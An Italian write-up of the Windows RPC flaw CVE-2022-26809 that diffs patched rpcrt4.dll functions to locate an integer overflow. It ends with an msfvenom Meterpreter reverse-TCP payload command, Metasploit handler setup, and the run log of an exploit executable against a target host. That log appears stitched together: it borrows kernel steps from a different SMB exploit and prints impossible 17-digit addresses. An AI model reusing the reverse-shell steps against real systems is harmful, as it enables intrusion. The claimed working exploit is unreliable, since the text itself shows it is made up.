
CVE-2022-26809 - una falla in un componente principale di Windows (RPC) ha ricevuto un punteggio CVSS di 9.8 non senza motivo, poiché l'attacco non richiede autenticazione e può essere eseguito da remoto su una rete, e può portare all'esecuzione remota di codice (RCE) con i privilegi del servizio RPC, che dipende dal processo che ospita il runtime RPC. Questo bug critico, con un po' di fortuna, consente di ottenere accesso a host Windows non aggiornati che eseguono SMB. La vulnerabilità può essere sfruttata sia dall'esterno della rete per violarla, sia tra macchine all'interno della rete.
Informazioni sul fornitore
Host vulnerabili testati:
Aggiorneremo questo elenco in seguito. Sospettiamo che quasi tutte le build con SMB attivo e porta 445 aperta saranno colpite.
TCP 135,139,445
La CVE ha dichiarato che le vulnerabilità risiedono nel runtime RPC di Windows, implementato in una libreria chiamata rpcrt4.dll. Questa libreria runtime viene caricata sia nei processi client che server che utilizzano il protocollo RPC per la comunicazione. Abbiamo confrontato le versioni 10.0.22000.434 (marzo) e 10.0.22000.613 (corretta) e individuato l'elenco delle modifiche.
Le funzioni OSF_SCALL::ProcessResponse e OSF_CCALL::ProcessReceivedPDU sono simili per natura; entrambe elaborano pacchetti RPC, ma una viene eseguita lato server e l'altra lato client (SCALL e CCALL). Eseguendo il diff di OSF_SCALL::ProcessReceivedPDU abbiamo notato due blocchi di codice aggiunti nella nuova versione.


Osservando il codice corretto, abbiamo visto che dopo QUEUE::PutOnQueue è stata chiamata una nuova funzione. Ispezionandola e addentrandoci nel suo codice, abbiamo capito che controlla gli overflow di interi. In altre parole, la nuova funzione nella patch è stata aggiunta per verificare che una variabile intera rimanesse entro un intervallo di valori previsto.

Approfondendo il codice vulnerabile in OSF_SCALL:GetCoalescedBuffer, abbiamo notato che il bug di overflow di interi poteva portare a un heap buffer overflow, in cui i dati vengono copiati in un buffer troppo piccolo per contenerli. Questo a sua volta consente di scrivere dati oltre i limiti del buffer, nell'heap. Se sfruttata, questa primitiva ci porta all'esecuzione remota di codice!
Una chiamata simile per il controllo dell'overflow di interi è stata aggiunta anche in altre funzioni:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
La vulnerabilità di overflow di interi e la funzione che la previene esistono sia nei flussi di esecuzione lato client che lato server.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip porta
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!